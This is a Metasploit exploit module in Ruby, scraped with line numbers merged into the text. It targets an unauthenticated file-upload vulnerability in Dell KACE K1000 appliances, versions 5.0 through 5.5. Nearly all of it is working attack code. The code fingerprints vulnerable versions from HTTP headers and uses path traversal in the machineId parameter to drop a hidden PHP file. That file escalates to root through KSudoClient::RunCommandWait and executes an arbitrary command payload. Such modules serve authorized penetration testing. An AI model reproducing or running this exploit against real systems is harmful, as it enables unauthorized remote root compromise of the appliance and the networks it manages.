Path: blob/master/modules/exploits/unix/http/dell_kace_k1000_upload.rb
21627 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Dell KACE K1000 File Upload',15'Description' => %q{16This module exploits a file upload vulnerability in Kace K100017versions 5.0 to 5.3, 5.4 prior to 5.4.76849 and 5.5 prior to 5.5.9054718which allows unauthenticated users to execute arbitrary commands19under the context of the 'www' user.2021This module also abuses the 'KSudoClient::RunCommandWait' function22to gain root privileges.2324This module has been tested successfully with Dell KACE K100025version 5.3.26},27'License' => MSF_LICENSE,28'Privileged' => true,29'Platform' => 'unix', # FreeBSD30'Arch' => ARCH_CMD,31'Author' => [32'Bradley Austin (steponequit)', # Initial discovery and exploit33'bcoles', # Metasploit34],35'References' => [36['URL', 'http://console-cowboys.blogspot.com/2014/03/the-curious-case-of-ninjamonkeypiratela.html']37],38'Payload' => {39'Space' => 1024,40'BadChars' => "\x00\x27",41'DisableNops' => true,42'Compat' =>43{44'PayloadType' => 'cmd',45'RequiredCmd' => 'generic perl'46}47},48'DefaultTarget' => 0,49'Targets' => [50['Automatic Targeting', { 'auto' => true }]51],52'DisclosureDate' => '2014-03-07',53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)60end6162def check63res = send_request_cgi('uri' => normalize_uri('service', 'kbot_upload.php'))64unless res65vprint_error('Connection failed')66return Exploit::CheckCode::Unknown67end68if res.code && res.code == 500 && res.headers['X-DellKACE-Appliance'].downcase == 'k1000'69if res.headers['X-DellKACE-Version'] =~ /\A([0-9])\.([0-9])\.([0-9]+)\z/70vprint_status("Found Dell KACE K1000 version #{res.headers['X-DellKACE-Version']}")71if $1.to_i == 5 && $2.to_i <= 3 # 5.0 to 5.372return Exploit::CheckCode::Vulnerable73elsif $1.to_i == 5 && $2.to_i == 4 && $3.to_i <= 76849 # 5.4 prior to 5.4.7684974return Exploit::CheckCode::Vulnerable75elsif $1.to_i == 5 && $2.to_i == 5 && $3.to_i <= 90547 # 5.5 prior to 5.5.9054776return Exploit::CheckCode::Vulnerable77end7879return Exploit::CheckCode::Safe80end81return Exploit::CheckCode::Detected82end83Exploit::CheckCode::Safe84end8586def exploit87# upload payload88fname = ".#{rand_text_alphanumeric(rand(8) + 5)}.php"89payload_path = "/kbox/kboxwww/tmp/"90post_data = "<?php require_once 'KSudoClient.class.php';KSudoClient::RunCommandWait('rm #{payload_path}#{fname};#{payload.encoded}');?>"91print_status("Uploading #{fname} (#{post_data.length} bytes)")92res = send_request_cgi(93'uri' => normalize_uri('service', 'kbot_upload.php'),94'method' => 'POST',95'vars_get' => Hash[{96'filename' => fname,97'machineId' => "#{'../' * (rand(5) + 4)}#{payload_path}",98'checksum' => 'SCRAMBLE',99'mac' => rand_text_alphanumeric(rand(8) + 5),100'kbotId' => rand_text_alphanumeric(rand(8) + 5),101'version' => rand_text_alphanumeric(rand(8) + 5),102'patchsecheduleid' => rand_text_alphanumeric(rand(8) + 5)103}.to_a.shuffle],104'data' => post_data105)106107unless res108fail_with(Failure::Unreachable, 'Connection failed')109end110111if res.code && res.code == 200112print_good('Payload uploaded successfully')113else114fail_with(Failure::UnexpectedReply, 'Unable to upload payload')115end116117# execute payload118res = send_request_cgi('uri' => normalize_uri('tmp', fname))119120unless res121fail_with(Failure::Unreachable, 'Connection failed')122end123124if res.code && res.code == 200125print_good('Payload executed successfully')126elsif res.code && res.code == 404127fail_with(Failure::NotVulnerable, "Could not find payload '#{fname}'")128else129fail_with(Failure::UnexpectedReply, 'Unable to execute payload')130end131end132end133134135